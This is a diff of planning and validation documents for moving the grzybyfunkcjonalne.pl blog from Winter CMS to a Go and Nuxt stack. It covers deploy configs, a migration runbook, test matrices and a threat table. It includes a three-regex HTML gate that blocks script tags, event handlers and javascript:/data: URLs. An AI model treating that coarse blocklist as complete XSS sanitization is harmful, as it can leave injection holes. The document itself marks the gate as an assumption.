The PHP server runs Winter (likely MySQL/MariaDB per `gf_old.sql`). The Go host needs Postgres (database.yaml asks for a pl-PL ICU database), and Nuxt needs Node ≥ 22.18. Neither is verified on that server (Open Question 4). The ICU template note in host `config/database.yaml`: `CREATE DATABASE grzybyfunkcjonalne TEMPLATE template0 ENCODING 'UTF8' LOCALE_PROVIDER icu ICU_LOCALE 'pl-PL';` requires Postgres ≥ 15.
|
||||
|
||||
## Code Examples
|
||||
|
||||
### nginx staging vhost (sketch; adapt from `sm-summercmsio-app/deploy/nginx/summercms.io.conf`)
|
||||
```nginx
|
||||
# Go: admin, Journal API, RSS alias
|
||||
location ^~ /gfadmin { proxy_pass http://127.0.0.1:8096; include /etc/nginx/proxy_params; }
|
||||
location ^~ /_journal/ { proxy_pass http://127.0.0.1:8096; include /etc/nginx/proxy_params; }
|
||||
location = /rss.xml { proxy_pass http://127.0.0.1:8096/_journal/api/v1/rss; include /etc/nginx/proxy_params; }
|
||||
location ^~ /backend { return 404; } # D-09: old admin path is not served by the new stack
|
||||
|
||||
# Uploads and media from disk, images only
|
||||
location ~ ^/storage/app/(uploads/public|media)/.+\.(?:jpe?g|png|gif|webp)$ {
|
||||
root /srv/grzybyfunkcjonalne-go; # holds storage/app/...
|
||||
add_header X-Content-Type-Options nosniff;
|
||||
expires 30d;
|
||||
}
|
||||
location ^~ /storage/ { return 404; }
|
||||
|
||||
# Everything else: Nuxt SSR
|
||||
location / {
|
||||
proxy_pass http://127.0.0.1:3016;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
}
|
||||
```
|
||||
Ports and paths are placeholders [ASSUMED]. `proxy_params` may not exist on the server; inline the headers as summercms.io does.
|
||||
|
||||
### supervisor: two programs (adapt `deploy/supervisor/summercms-io.conf`)
|
||||
```ini
|
||||
[program:grzyby-go]
|
||||
command=/srv/grzybyfunkcjonalne-go/bin/grzybyfunkcjonalne serve --addr 127.0.0.1:8096
|
||||
directory=/srv/grzybyfunkcjonalne-go
|
||||
environment=SUMMER_ENV="production"
|
||||
stopsignal=TERM
|
||||
stopwaitsecs=15
|
||||
|
||||
[program:grzyby-nuxt]
|
||||
command=/usr/bin/node /srv/grzybyfunkcjonalne-go/nuxt/.output/server/index.mjs
|
||||
directory=/srv/grzybyfunkcjonalne-go/nuxt
|
||||
environment=NODE_ENV="production",NITRO_HOST="127.0.0.1",NITRO_PORT="3016",NUXT_JOURNAL_API_BASE="http://127.0.0.1:8096/_journal/api/v1"
|
||||
stopsignal=TERM
|
||||
```
|
||||
`NODE_ENV=production node .output/server/index.mjs`; `NITRO_PORT`/`PORT` and `NITRO_HOST`/`HOST` (default 0.0.0.0, so bind to loopback explicitly) [CITED: nuxt.com/docs/4.x/getting-started/deployment].
|
||||
|
||||
### HTML gate (TS port of Journal's rules, layer `utils/htmlGate.ts`)
|
||||
```ts
|
||||
// Same three patterns as sm-journal-plugin classes/format_html.go:20-22 (verbatim regex sources)
|
||||
const UNSAFE_TAG = /<(?:script|iframe|object|embed)\b/i
|
||||
const EVENT_HANDLER = /\son[a-z]+\s*=/i
|
||||
const DANGEROUS_URL = /(?:javascript|vbscript|data):/i
|
||||
export function isSafeJournalHtml(html: string): boolean {
|
||||
return !(UNSAFE_TAG.test(html) || EVENT_HANDLER.test(html) || DANGEROUS_URL.test(html))
|
||||
}
|
||||
```
|
||||
The scan this session found 0 matches in all export `content`/`content_html` (base and pl), so the live corpus passes [VERIFIED]. Note that `DANGEROUS_URL` also matches the plain-text Polish word "data:" ("date:"); an unsafe result should render a neutral notice, not throw.
|
||||
|
||||
### Migration runbook (order matters)
|
||||
1. `bin/grzybyfunkcjonalne migrate` (fresh Postgres DB, pl-PL ICU).
|
||||
2. Create the admin user (cabana runtime command) and log in at `/gfadmin`.
|
||||
3. Make `pl` the default locale (Locales → make default) [Pitfall 1].
|
||||
4. `bin/grzybyfunkcjonalne journal:import-posts --path journal-export --dry-run`, then without `--dry-run` (once).
|
||||
5. Fix the 7 categories (names e.g. "Lion's Mane", descriptions from live hero text).
|
||||
6. rsync PHP `storage/app/media/` → Go `storage/app/media/`; run the featured-image migration (option a/b).
|
||||
7. Smoke every URL in `scripts/urls.txt` (live sitemap's 71 + `/kontakt`, `/trwaja-prace`, `/rss.xml`, `/robots.txt`, `/sitemap.xml`, `/blog?page=2..6`, `/<cat>?page=2`, negative cases).
|
||||
|
||||
## State of the Art
|
||||
|
||||
| Old Approach | Current Approach | When Changed | Impact |
|
||||
|--------------|------------------|--------------|--------|
|
||||
| Winter CMS pages + Twig components | Nuxt 4 SSR layer + JSON API | this phase | URL logic moves to Nuxt |
|
||||
| eagle_seo + Golem15.Sitemap | `@nuxtjs/seo` 5 (sitemap 8, robots 6) | D-13 | runtime sitemap from API |
|
||||
| `isr` for "rebuild-free" pages | `swr` on node-server (`isr` = CDN-only) | Nuxt 3+ hybrid rendering | use `swr` TTLs |
|
||||
| Pages in layer `pages/` | `extendPages` from module config | — | configurable paths |
|
||||
|
||||
**Deprecated/outdated:** sitemanager `enable_*` toggles (dropped, D-11); arsha demo blocks (drop); `/backend` path (→ `/gfadmin`).
|
||||
|
||||
## Assumptions Log
|
||||
|
||||
| # | Claim | Section | Risk if Wrong |
|
||||
|---|-------|---------|---------------|
|
||||
| A1 | pnpm 11 installs `git+https://git.golem15.com/...git#tag` from Gitea anonymously and Nuxt `extends: ['vue-journal-layer']` resolves it from node_modules | Stack, Pitfall 10 | Distribution model (D-04) needs a fallback (tarball URL / `link:` / submodule); Wave 0 spike |
|
||||
| A2 | Vue Router ranks static `/blog`, `/kontakt` above `/:category` | URL Inventory | Static pages shadowed; caught by smoke test |
|
||||
| A3 | Category pillar content and descriptions belong in the site app (not a Journal API change) | Summary, Content | If the user wants them editable in admin, an `sm-journal-plugin` change is needed (breaks frozen-API scope) |
|
||||
| A4 | Porting Go's 3-regex gate is enough sanitization (no `sanitize-html`) | Security, Code Examples | If stricter sanitizing is wanted, add `sanitize-html` 2.17.7 behind a checkpoint |
|
||||
| A5 | Out-of-range/non-numeric `?page=` → 404 (live returns 200) | URL Inventory | Minor SEO/UX difference; confirm |
|
||||
| A6 | Post `<title>` = `<post title> \| Grzyby Funkcjonalne`, description = excerpt, og:image = featured image (no per-post SEO override migration) | Export table | Lost custom SEO titles if eagle_seo overrides exist for posts |
|
||||
| A7 | `nuxt-seo-utils` keeps `page` in canonical query whitelist by default | URL Inventory | Paginated canonicals collapse to page 1; set the whitelist explicitly |
|
||||
| A8 | Project CSS loads after layer CSS so token overrides win | Pattern 4 | Tokens not overridden; use higher-specificity selector |
|
||||
| A9 | i18n route-name suffix is `___pl` | Pattern 1 | Links by name fail; use `localePath` regardless |
|
||||
| A10 | `/sitemap.xsl` can be dropped | URL Inventory | Cosmetic only |
|
||||
| A11 | nginx/supervisor ports and paths in examples | Code Examples | Placeholders; fix on server |
|
||||
|
||||
## Open Questions (RESOLVED)
|
||||
|
||||
All six were resolved by the user on 2026-10-09 and recorded in 16-CONTEXT.md. The decisions below override the original recommendations.
|
||||
|
||||
1. **Author page (D-05) has no API support.**
|
||||
- What we know: no author endpoint; the `author` filter is editor-only; the author payload has no slug/bio/avatar; imported posts have no author; `/autor/admin` is the only live author URL, unlinked and not in the sitemap.
|
||||
- Options: (a) layer author page backed by a Nitro route that pages `/posts` and filters by `author.login`, with bio/avatar from app config (no Go change); (b) additive `sm-journal-plugin` change (anonymous `author=<slug>` filter + `author.slug` in payload), which reopens the frozen API, so it needs the user's explicit OK; (c) ship the route but 404 until authors exist, keeping `/autor/:author` reserved.
|
||||
- Recommendation: (a) for the layer, plus assigning authors in `/gfadmin` after import if the user wants author pages populated.
|
||||
- **RESOLVED → D-20:** option (b). A pre-execution `/msd-quick` task adds an anonymous author endpoint to `sm-journal-plugin`; the layer consumes it. The recommendation (a) above is superseded.
|
||||
2. **Category pillar content location** (A3): app markdown per slug (recommended) or a Journal schema change?
|
||||
- **RESOLVED → D-21:** Journal schema change. A pre-execution quick task adds a rich content field to Category (admin + categories API); plan 16-03 fills it from the PHP DB. The app-markdown recommendation is superseded.
|
||||
3. **Featured images**: who runs the SQL on the PHP DB to produce the slug → disk_name map, and are live images under `Golem15\Blog\Models\Post` or `Golem15\Journal\Models\Post` morphs on the server? Option (a) Go command vs (b) API upload.
|
||||
- **RESOLVED → D-22:** option (a), an app-local Go command that keeps the Winter disk names, fed by a SQL export run on the PHP server.
|
||||
4. **Server environment**: hostname, staging domain (e.g. `staging.grzybyfunkcjonalne.pl`?) and TLS, Postgres ≥15 with ICU, Node ≥22.18, supervisor and nginx layout on the PHP server. These must be confirmed before the deploy plan.
|
||||
- **RESOLVED → D-19 / plan 16-04:** confirmed at the 16-04 Task 1 human checkpoint before deploy.
|
||||
5. **Analytics**: the live layout loads GA `G-MLSV7WJ6W4`. Carry it over (needs a consent decision), or drop it on staging?
|
||||
- **RESOLVED → D-23:** carry over `G-MLSV7WJ6W4` through Nuxt runtime config; staging may leave it empty.
|
||||
6. **Draft posts and `amanita-muscaria`**: 42 drafts are imported as drafts; `/amanita-muscaria` shows 0 posts live. Keep it (it is in the sitemap) or drop it?
|
||||
- **RESOLVED → D-24:** keep `/amanita-muscaria`; the layer always requests categories with `include_empty=1`. Drafts are imported as drafts.
|
||||
|
||||
## Environment Availability
|
||||
|
||||
| Dependency | Required By | Available (this machine) | Version | Fallback |
|
||||
|------------|------------|-----------|---------|----------|
|
||||
| Go | host build/tests | ✓ | go1.27.0 | — |
|
||||
| Node | Nuxt build, `node --test` | ✓ | v24.21.0 (project pins 22.22.0 via `.nvmrc`) | nvm 22 |
|
||||
| pnpm | install, git dep | ✓ | 11.3.0 | — |
|
||||
| Postgres | Go host, import rehearsal | ✓ (local, accepting on 127.0.0.1:5432) | — | — |
|
||||
| Docker | `scripts/smoke.sh` pattern (postgres:15 container) | ✗ (permission denied on docker.sock for this user) | 29.7.2 client | local Postgres via `SMOKE_DSN`, or run as a user in the docker group |
|
||||
| nginx | `check-deploy.sh` (`nginx -t` with temp prefix) | ✓ | — | — |
|
||||
| supervisord | config parse check | ✓ | — | — |
|
||||
| git.golem15.com | layer git dep, repos | ✓ reachable (Gitea 1.25.4); target repos 404 | — | human creates repos |
|
||||
| PHP server (Node, Postgres, nginx, supervisor) | staging | unknown | — | **blocking until confirmed (OQ4)** |
|
||||
| PHP storage `storage/app/uploads/public` | featured images | ✗ locally (permission denied) | — | copy on the server |
|
||||
|
||||
**Missing dependencies with no fallback:** confirmed server environment (OQ4); Gitea repos (human creation).
|
||||
**Missing dependencies with fallback:** Docker for smoke (use local Postgres DSN).
|
||||
|
||||
## Validation Architecture
|
||||
|
||||
### Test Framework
|
||||
| Property | Value |
|
||||
|----------|-------|
|
||||
| Framework (layer, site app) | `node --test` on `.ts` (Node ≥22.18 type stripping), as `vue-summercmsio-app` (`"test": "node --test --test-reporter=tap tests/*.test.ts"`) |
|
||||
| Framework (Go host) | `go test ./...` (stdlib testing; existing `boot_test.go` `TestBootUserTranslateJournal`, `TestCORS`) |
|
||||
| Config file | none (package.json script); Go none |
|
||||
| Quick run command | `pnpm test` (layer or app dir); `go test ./...` (host) |
|
||||
| Full suite command | `pnpm -C vue-journal-layer test && pnpm -C vue-grzybyfunkcjonalne-app build && pnpm -C vue-grzybyfunkcjonalne-app test && go vet ./... && go test ./...` |
|
||||
| Smoke | `scripts/smoke.sh <base-url>` over `scripts/urls.txt` (expected status per URL) |
|
||||
|
||||
Keep testable logic in pure TS under `app/utils/` (no `.vue` imports), because `node --test` cannot load SFCs. Component rendering is checked through the built server (`.output/server/index.mjs` started against a fixture API), the same idea as summercms.io's `tests/output.test.ts` but for SSR. Vitest + `@nuxt/test-utils` would be a new dependency; avoid it unless the user asks.
|
||||
|
||||
### Phase Requirements → Test Map
|
||||
| Req ID | Behavior | Test Type | Automated Command | File Exists? |
|
||||
|--------|----------|-----------|-------------------|-------------|
|
||||
| SC-2 | route config: defaults, overrides, `false` disables, invalid path rejected | unit | `node --test tests/routes.test.ts` (layer) | ❌ Wave 0 |
|
||||
| SC-2 | client builds query (`page`,`per_page` clamp ≤30, `category`, `include_empty`), parses envelope | unit | `node --test tests/client.test.ts` | ❌ |
|
||||
| SC-2 | pagination math: page validity, prev/next, 404 on out-of-range | unit | `node --test tests/pagination.test.ts` | ❌ |
|
||||
| SC-2 | HTML gate: same 3 patterns as Go | unit | `node --test tests/htmlGate.test.ts` | ❌ |
|
||||
| SC-3 | sitemap entries from posts+categories use route config | unit | `node --test tests/sitemap.test.ts` | ❌ |
|
||||
| SC-3 | every old URL → expected status (200/404), canonical keeps `?page=N`, `/rss.xml` is RSS | smoke | `scripts/smoke.sh https://<staging>` | ❌ |
|
||||
| SC-1 | host boots with `backend.uri: /gfadmin` (admin at `/gfadmin`, `/backend` 404) | unit/boot | `go test ./... -run TestBoot` | ✅ extend `boot_test.go` |
|
||||
| SC-1 | featured-image migration command (if option a): map parse, blob key, row fields, idempotent skip | unit | `go test ./... -run FeaturedImages` | ❌ |
|
||||
| SC-1 | deploy configs: `nginx -t`, supervisor parse | config check | `scripts/check-deploy.sh` | ❌ (adapt) |
|
||||
| SC-1 | built Nuxt server renders `/`, `/blog`, a post, a category against a fixture API | integration | `node --test tests/ssr.test.ts` (app; starts `.output/server/index.mjs`) | ❌ |
|
||||
|
||||
### Sampling Rate
|
||||
- **Per task commit:** `pnpm test` in the touched JS repo; `go vet ./... && go test ./...` in the host.
|
||||
- **Per wave merge:** full suite above plus `nuxt build` of the site app against the layer **installed from the git tag**.
|
||||
- **Phase gate:** full suite green plus `scripts/smoke.sh` against staging before `/msd-verify-work`.
|
||||
|
||||
### Wave 0 Gaps
|
||||
- [ ] Spike: pnpm git dependency from Gitea + `extends` + `nuxt build` (A1, Pitfall 10).
|
||||
- [ ] `vue-journal-layer/tests/` and `package.json` test script.
|
||||
- [ ] `vue-grzybyfunkcjonalne-app/tests/` + a fixture API (small Node `http` server serving recorded JSON) for SSR tests.
|
||||
- [ ] `sm-grzybyfunkcjonalne-app/scripts/urls.txt`, generated from the live sitemap (71 URLs) + static/negative cases.
|
||||
|
||||
## Security Domain
|
||||
|
||||
### Applicable ASVS Categories
|
||||
| ASVS Category | Applies | Standard Control |
|
||||
|---------------|---------|-----------------|
|
||||
| V2 Authentication | no new surface | existing cabana backend JWT for `/gfadmin` |
|
||||
| V3 Session Management | no new surface | cabana cookie; `backend.cookie_secure` must stay `true` in production |
|
||||
| V4 Access Control | yes (deploy) | nginx: only `GET/HEAD` to Nuxt and public storage; `/storage/**` limited to image extensions |
|
||||
| V5 Input Validation | yes | `?page`/`:category`/`:slug` validated in the layer (numeric page; slug regex `[a-z0-9][a-z0-9\-/]*` as the Go route) |
|
||||
| V6 Cryptography | no | — |
|
||||
| V14 Config | yes | secrets only in server `.env`; `NUXT_` runtime keys declared in config |
|
||||
|
||||
### Known Threat Patterns
|
||||
| Pattern | STRIDE | Standard Mitigation |
|
||||
|---------|--------|---------------------|
|
||||
| Stored XSS via `content_html` rendered with `v-html` | Tampering | Go `FormatHTML` gate on admin/API save; layer re-check with the same regexes; imported corpus scanned clean |
|
||||
| Same-origin XSS via uploaded files served with sniffed types | Tampering | nginx image-extension allowlist + `nosniff` (attach/static.go warning) |
|
||||
| SSRF via configurable API base | Tampering | `journal.apiBase` from server config only, never from request input |
|
||||
| Rate-limit bypass or self-DoS through the SSR proxy | DoS | forward XFF to Go (127.0.0.1 trusted); swr caching |
|
||||
| Admin exposure | Elevation | `/gfadmin` behind cabana auth; `/backend` returns 404 |
|
||||
|
||||
No new Go endpoints or auth surface are planned, so the security-review agent is not required (CONTEXT discretion). If option (b) of Open Question 1 is chosen (an API change), it is.
|
||||
|
||||
## Sources
|
||||
|
||||
### Primary (HIGH confidence)
|
||||
- In-repo reads: `sm-journal-plugin/routes.go`, `controllers/api/{posts.go,posts_helpers.go,rss.go}`, `console/{import_posts.go,export_posts.go}`, `classes/format_html.go`, `README.md`; `sm-translate-plugin/updates/202610060005_seed_en_pl_locales.go`, `classes/translatable.go`; `summercms.go/modules/{lagoon/paginate.go,lagoon/attach/*.go,cabana/README.md,compass/README.md,surf/clientip.go}`; `sm-grzybyfunkcjonalne-app/config/*.yaml`, `go.work`, `summer.yaml`; `sm-summercmsio-app/{deploy,scripts,vue-summercmsio-app}`
|
||||
- Legacy PHP: `grzybyfunkcjonalne.pl/themes/arsha/{pages,partials}`, `plugins/golem15/journal/{components,models,console}`, `plugins/golem15/{sitemap,seo}/routes.php`, `vendor/winter/storm/src/Router/Router.php`, `sources/gf_old.sql`, `journal-export/*.json`
|
||||
- Live site probes (curl, 2026-10-09): sitemap.xml, status codes, canonical tags, link forms, navbar, footer
|
||||
- Probe: `go test` run of `FormatHTML` on pl HTML content (output pasted)
|
||||
- Installed node_modules: Nuxt 4.4.8 schema (`scanPageMeta`), @nuxtjs/i18n 10.4.0 module (`pages:resolved`), `nuxt/kit` re-export
|
||||
|
||||
### Secondary (MEDIUM confidence)
|
||||
- nuxt.com/docs/4.x/guide/going-further/layers (layer priority, deps, path pitfalls)
|
||||
- nuxt.com/docs/4.x/guide/concepts/rendering (routeRules, swr vs isr)
|
||||
- nuxt.com/docs/4.x/getting-started/deployment (node server, ports)
|
||||
- nuxt.com/docs/4.x/guide/going-further/runtime-config (`NUXT_` overrides)
|
||||
- i18n.nuxtjs.org/docs/guide/layers (locale/message merge)
|
||||
- nuxtseo.com/docs/sitemap/guides/dynamic-urls (dynamic sources, cache)
|
||||
- pnpm.io/package-sources (git URL forms, git-hosted builds, blockExoticSubdeps)
|
||||
- router.vuejs.org route matching (order independence)
|
||||
|
||||
### Tertiary (LOW confidence)
|
||||
- Assumptions A1-A11 above
|
||||
|
||||
## Metadata
|
||||
|
||||
**Confidence breakdown:**
|
||||
- URL inventory / data gaps: HIGH (live probes + source reads + export scan)
|
||||
- Journal API shape: HIGH (source read)
|
||||
- Standard stack: HIGH (versions from the existing lockfile)
|
||||
- Layer mechanics over pnpm git: MEDIUM (docs + reasoning; spike required)
|
||||
- Deploy topology: MEDIUM (pattern from summercms.io; server unknown)
|
||||
- Pitfalls: HIGH for 1-3, 5-8 (verified in code/probe); MEDIUM for 4, 9-10
|
||||
|
||||
**Research date:** 2026-10-09
|
||||
**Valid until:** 2026-11-08 (live-site facts can drift sooner; re-pull `sitemap.xml` before the smoke list is frozen)
|
||||
@@ -0,0 +1,21 @@
|
||||
# Phase 16: User Setup
|
||||
|
||||
**Status:** Complete (verified 2026-10-09 during 16-01)
|
||||
|
||||
## git.golem15.com (Gitea 1.25.4)
|
||||
|
||||
Why: D-02, D-04 and D-08. The layer and the site app each live in their own repository.
|
||||
|
||||
| Task | Location | State |
|
||||
|------|----------|-------|
|
||||
| Create the repo `golem15/vue-journal-layer` as **public**, default branch `main` | https://git.golem15.com/repo/create (owner golem15) | Done. Anonymous `git ls-remote https://git.golem15.com/golem15/vue-journal-layer.git` lists `main`, `v0.0.1` and `v0.1.0`. |
|
||||
| Create the repo `golem15/vue-grzybyfunkcjonalne-app`, default branch `main` | https://git.golem15.com/repo/create (owner golem15) | Done, as **private** by the user's choice. Check it with `git ls-remote git@git.golem15.com:golem15/vue-grzybyfunkcjonalne-app.git` (SSH). |
|
||||
|
||||
The layer repo has to be public, because consumers install it anonymously over `git+https` (D-04). The site app is only mounted as a submodule over SSH (D-08), so it can stay private.
|
||||
|
||||
## Verification
|
||||
|
||||
```bash
|
||||
GIT_TERMINAL_PROMPT=0 git ls-remote https://git.golem15.com/golem15/vue-journal-layer.git
|
||||
git ls-remote git@git.golem15.com:golem15/vue-grzybyfunkcjonalne-app.git
|
||||
```
|
||||
@@ -0,0 +1,96 @@
|
||||
---
|
||||
phase: "16"
|
||||
slug: "grzybyfunkcjonalne-pl-on-reusable-blog-views"
|
||||
# status lifecycle: draft (seeded by plan-phase) → validated (set by validate-phase §6)
|
||||
# audit-milestone §5.5 distinguishes NOT-VALIDATED (draft) from PARTIAL (validated + nyquist_compliant: false) (#2117)
|
||||
status: validated
|
||||
nyquist_compliant: true
|
||||
wave_0_complete: true
|
||||
created: "2026-10-09"
|
||||
validated: "2026-10-09"
|
||||
---
|
||||
|
||||
# Phase 16 — Validation Strategy
|
||||
|
||||
> Per-phase validation contract for feedback sampling during execution.
|
||||
|
||||
---
|
||||
|
||||
## Test Infrastructure
|
||||
|
||||
| Property | Value |
|
||||
|----------|-------|
|
||||
| **Framework** | `node --test` on `.ts` (Node ≥22.18 type stripping) for `vue-journal-layer` and `vue-grzybyfunkcjonalne-app`; `go test` (stdlib) for `sm-grzybyfunkcjonalne-app` |
|
||||
| **Config file** | none — `package.json` `"test": "node --test --test-reporter=tap tests/*.test.ts"` (Wave 0 adds it to both JS repos); Go none |
|
||||
| **Quick run command** | `pnpm test` (in the touched JS repo); `go vet ./... && go test ./...` (host) |
|
||||
| **Full suite command** | `pnpm -C vue-journal-layer test && pnpm -C vue-grzybyfunkcjonalne-app build && pnpm -C vue-grzybyfunkcjonalne-app test && go vet ./... && go test ./...` |
|
||||
| **Smoke** | `scripts/smoke.sh <base-url>` over `scripts/urls.txt` (expected status per URL) |
|
||||
| **Estimated runtime** | ~90 seconds (dominated by `nuxt build`) |
|
||||
|
||||
Testable logic lives in pure TS under `app/utils/` (no `.vue` imports), because `node --test` cannot load SFCs. Rendering is checked through the built SSR server (`.output/server/index.mjs`) started against a fixture API. No Vitest / `@nuxt/test-utils` dependency.
|
||||
|
||||
---
|
||||
|
||||
## Sampling Rate
|
||||
|
||||
- **After every task commit:** Run `pnpm test` in the touched JS repo; `go vet ./... && go test ./...` in the host
|
||||
- **After every plan wave:** Run the full suite command, with the site app's `nuxt build` against the layer **installed from the git tag**
|
||||
- **Before `/msd-verify-work`:** Full suite must be green and `scripts/smoke.sh` must pass against staging
|
||||
- **Max feedback latency:** 90 seconds
|
||||
|
||||
---
|
||||
|
||||
## Per-Task Verification Map
|
||||
|
||||
Built by the named plan tasks; the tests land in 16-05 (CLAUDE.md rule 3). Commands run from the repo named in brackets; `scripts/check-phase16.sh --all` (summercms.go) runs every row except the staging smoke.
|
||||
|
||||
| Task ID | Plan | Wave | Requirement | Threat Ref | Secure Behavior | Test Type | Automated Command | File Exists | Status |
|
||||
|---------|------|------|-------------|------------|-----------------|-----------|-------------------|-------------|--------|
|
||||
| 16-01-T2/T4, 16-05-T2 | 01, 05 | 1, 5 | SC-2 | — | route config: defaults, overrides, `false` disables, invalid path rejected naming `journal.routes.<key>`; path filling encodes per segment (D-06) | unit | `node --test tests/routes.test.ts` (layer) | ✅ | ✅ green |
|
||||
| 16-01-T3, 16-05-T2 | 01, 05 | 1, 5 | SC-2 | — | client builds query (`page`, `per_page` clamp 1..30, `category`, `tag`), `include_empty=1` on every categories request (D-24), 404 → null, 500 rethrown | unit | `node --test tests/client.test.ts` (layer) | ✅ | ✅ green |
|
||||
| 16-01-T3, 16-05-T2 | 01, 05 | 1, 5 | SC-2 | — | pagination: page validity, 404 on `0`/`-1`/`1.5`/`abc`/arrays and out-of-range, page window | unit | `node --test tests/pagination.test.ts` (layer) | ✅ | ✅ green |
|
||||
| 16-01-T2, 16-05-T2 | 01, 05 | 1, 5 | SC-2 | T-16-01 | HTML gate rejects the Go `FormatHTML` cases (script, iframe, event handler, `javascript:`, `vbscript:`, `data:`, upper case too); headings, tables, links pass | unit | `node --test tests/htmlGate.test.ts` (layer) | ✅ | ✅ green |
|
||||
| 16-01-T4, 16-05-T2 | 01, 05 | 1, 5 | SC-3 | — | sitemap entries from posts + categories use `journal.routes` (custom `/:category`, disabled routes, nested categories, lastmod) (D-06, D-13); SEO description fallback, absolute og:image, list titles; pl/en key and placeholder parity (D-16) | unit | `node --test tests/sitemap.test.ts tests/seo.test.ts tests/i18n.test.ts` (layer) | ✅ | ✅ green |
|
||||
| 16-03-T1, 16-05-T3 | 03, 05 | 3, 5 | SC-1 | T-16-10 | host boots with `backend.uri: /gfadmin`; `cabana.AdminPrefix` is `/gfadmin`; admin routes under `/gfadmin/`, none under `/backend` (D-09); grzyby commands registered | unit/boot | `go test ./... -run '^(TestBootUserTranslateJournal\|TestBackendURIGfadmin\|TestGrzybyCommandsRegistered)$'` (host) | ✅ | ✅ green |
|
||||
| 16-03-T1, 16-05-T3 | 03, 05 | 3, 5 | SC-1 | T-16-12 | featured-image migration: map parse, disk-name validation, traversal refused before any read, blob at `attach.BlobKey`, `system_files` row fields, idempotent skip, base slug through the export, type/size/sniff failures, dry run (D-22) | unit + DB | `go -C plugins/grzyby test ./... -race -run 'FeaturedImage\|DiskName'` (host, `GRZYBY_TEST_ADMIN_DSN` or Docker) | ✅ | ✅ green |
|
||||
| 16-03-T2, 16-05-T3 | 03, 05 | 3, 5 | SC-1 | — | category import: pl values preferred, `content` written (D-21), unchanged rerun, unknown slug failed, dry run | unit + DB | `go -C plugins/grzyby test ./... -race -run 'Categor'` (host) | ✅ | ✅ green |
|
||||
| 16-05-T3 | 05 | 5 | SC-4 | T-16-23 | the test harness creates `grzyby_test_<random>` and drops only that database; DB tests fail, not skip, outside `-short` | unit | `go -C plugins/grzyby test ./console` (host; fails without a database) | ✅ | ✅ green |
|
||||
| 16-03-T3, 16-04-T2 | 03, 04 | 3, 4 | SC-1 | T-16-11 | deploy configs: `nginx -t`, supervisor parse, storage extension allowlist with nosniff, `/backend` 404 | config check | `scripts/check-deploy.sh` (host) | ✅ | ✅ green |
|
||||
| 16-02-T1, 16-05-T1 | 02, 05 | 2, 5 | SC-1, SC-3 | T-16-01, T-16-07 | built Nuxt server against the fixture API: every PHP URL form's status (D-15), static pages over `/:category`, canonical keeps `?page=N`, titles, pl only (D-16), empty category (D-24), category content (D-21), unsafe body blocked, XFF forwarded, feeds, no forms (D-14), GA only for a valid `NUXT_PUBLIC_GA_ID` (D-23) | integration | `pnpm build && node --test tests/ssr.test.ts` (app) | ✅ | ✅ green |
|
||||
| 16-02-T2/T3, 16-05-T2 | 02, 05 | 2, 5 | SC-1 | T-16-07 | `gaHeadScripts` gives nothing for empty or malformed ids; FAQ has 16 entries; menu kinds and every `t()` key resolve | unit | `node --test tests/analytics.test.ts tests/content.test.ts` (app) | ✅ | ✅ green |
|
||||
| 16-05-T3 | 05 | 5 | SC-4 | T-16-24 | phase gate fails closed on fail, skip, todo, no tests, missing named tests and races | gate | `scripts/check-phase16.sh --all` (summercms.go) | ✅ | ✅ green |
|
||||
| 16-03-T3, 16-04-T3 | 03, 04 | 3, 4 | SC-3 | — | every old URL → expected status; canonical keeps `?page=N`; `/rss.xml` is RSS | smoke | `scripts/smoke.sh` (local rehearsal) and `scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl` on the server (host) | ✅ | ✅ green (98 urls on staging, 16-04) |
|
||||
|
||||
*Status: ⬜ pending · ✅ green · ❌ red · ⚠️ flaky*
|
||||
|
||||
---
|
||||
|
||||
## Wave 0 Requirements
|
||||
|
||||
- [x] Spike: pnpm git dependency from Gitea + `extends` + `nuxt build` (RESEARCH A1, Pitfall 10) — 16-01 `check-git-install.sh v0.0.1`
|
||||
- [x] `vue-journal-layer/tests/` and `package.json` test script — 16-05 Task 2
|
||||
- [x] `vue-grzybyfunkcjonalne-app/tests/` + a fixture API (small Node `http` server serving recorded JSON) for SSR tests — layer `testing/fixture-api.mjs` (16-01), app `tests/ssr.test.ts` (16-05 Task 1)
|
||||
- [x] `sm-grzybyfunkcjonalne-app/scripts/urls.txt`, generated from the live sitemap (71 URLs) + static/negative cases — 16-03 Task 3
|
||||
|
||||
---
|
||||
|
||||
## Manual-Only Verifications
|
||||
|
||||
| Behavior | Requirement | Why Manual | Test Instructions |
|
||||
|----------|-------------|------------|-------------------|
|
||||
| Staging deploy on the PHP site's server (Go + Nuxt + imported posts) | SC-1, D-18 | Needs server access, DNS/TLS for the staging host | Deploy per `deploy/` README, then run `scripts/smoke.sh https://<staging>` |
|
||||
| Refreshed visual design matches intent | D-01, D-03 | Subjective visual review | Open staging `/`, `/blog`, a post, a category; compare with the live site |
|
||||
| Creating the Gitea repos `vue-journal-layer`, `vue-grzybyfunkcjonalne-app` | D-02, D-08 | External service account action | Create public repos on git.golem15.com |
|
||||
|
||||
---
|
||||
|
||||
## Validation Sign-Off
|
||||
|
||||
- [x] All tasks have `<automated>` verify or Wave 0 dependencies
|
||||
- [x] Sampling continuity: no 3 consecutive tasks without automated verify
|
||||
- [x] Wave 0 covers all MISSING references
|
||||
- [x] No watch-mode flags
|
||||
- [x] Feedback latency < 90s per touched repo (`pnpm test` in the layer under 1 s; the app's `nuxt build` plus tests about 60 s; the full gate a few minutes)
|
||||
- [x] `nyquist_compliant: true` set in frontmatter
|
||||
|
||||
**Approval:** approved 2026-10-09 (16-05): `scripts/check-phase16.sh --all` ended with "Phase 16 gate passed" (layer 78 tests, app 25 tests and 36 + 2 smoke checks, host 4 named boot tests, grzyby 10 tests with `-race` against a throwaway Postgres 18.6 database, check-deploy ok). The staging visual review (Manual-Only row 2) remains a human check.
|
||||
@@ -0,0 +1,27 @@
|
||||
# API Coverage — Journal API (`/_journal/api/v1`, sm-journal-plugin)
|
||||
|
||||
> Full coverage by default. Opt-outs are explicit, reasoned decisions.
|
||||
|
||||
The phase consumes the internal Journal API that Phase 15 shipped (frozen contract, Phase 15 D-14) plus the two pre-execution additions D-20 and D-21. The consumer is `vue-journal-layer` (16-01) through its typed client, the sitemap source and the `/rss.xml` route. Google Analytics (D-23) is a script tag configured through Nuxt runtime config, not an API integration, so it has no row here.
|
||||
|
||||
| capability | decision | reason |
|
